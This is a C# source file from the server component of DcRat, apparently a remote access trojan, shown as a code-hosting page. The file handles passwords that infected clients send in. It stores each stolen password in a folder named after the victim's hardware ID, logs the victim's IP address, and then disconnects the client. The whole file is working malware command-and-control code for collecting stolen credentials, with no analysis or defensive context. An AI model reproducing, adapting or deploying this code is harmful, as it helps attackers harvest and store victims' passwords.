DcRat/Server/Handle Packet/HandlePassword.cs

35 lines
1.3 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

using Server.Connection;
using Server.MessagePack;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server.Handle_Packet
{
class HandlePassword
{
public void SavePassword(Clients client, MsgPack unpack_msgpack)
{
try
{
string password = unpack_msgpack.ForcePathObject("Password").GetAsString();
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Password");
if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + $"\\Password_{DateTime.Now:MM-dd-yyyy HH;mm;ss}.txt", password);
new HandleLogs().Addmsg($"Client {client.Ip} password saved successfile located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/Password", Color.Purple);
client.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg($"Password saved error: {ex.Message}", Color.Red);
}
}
}
}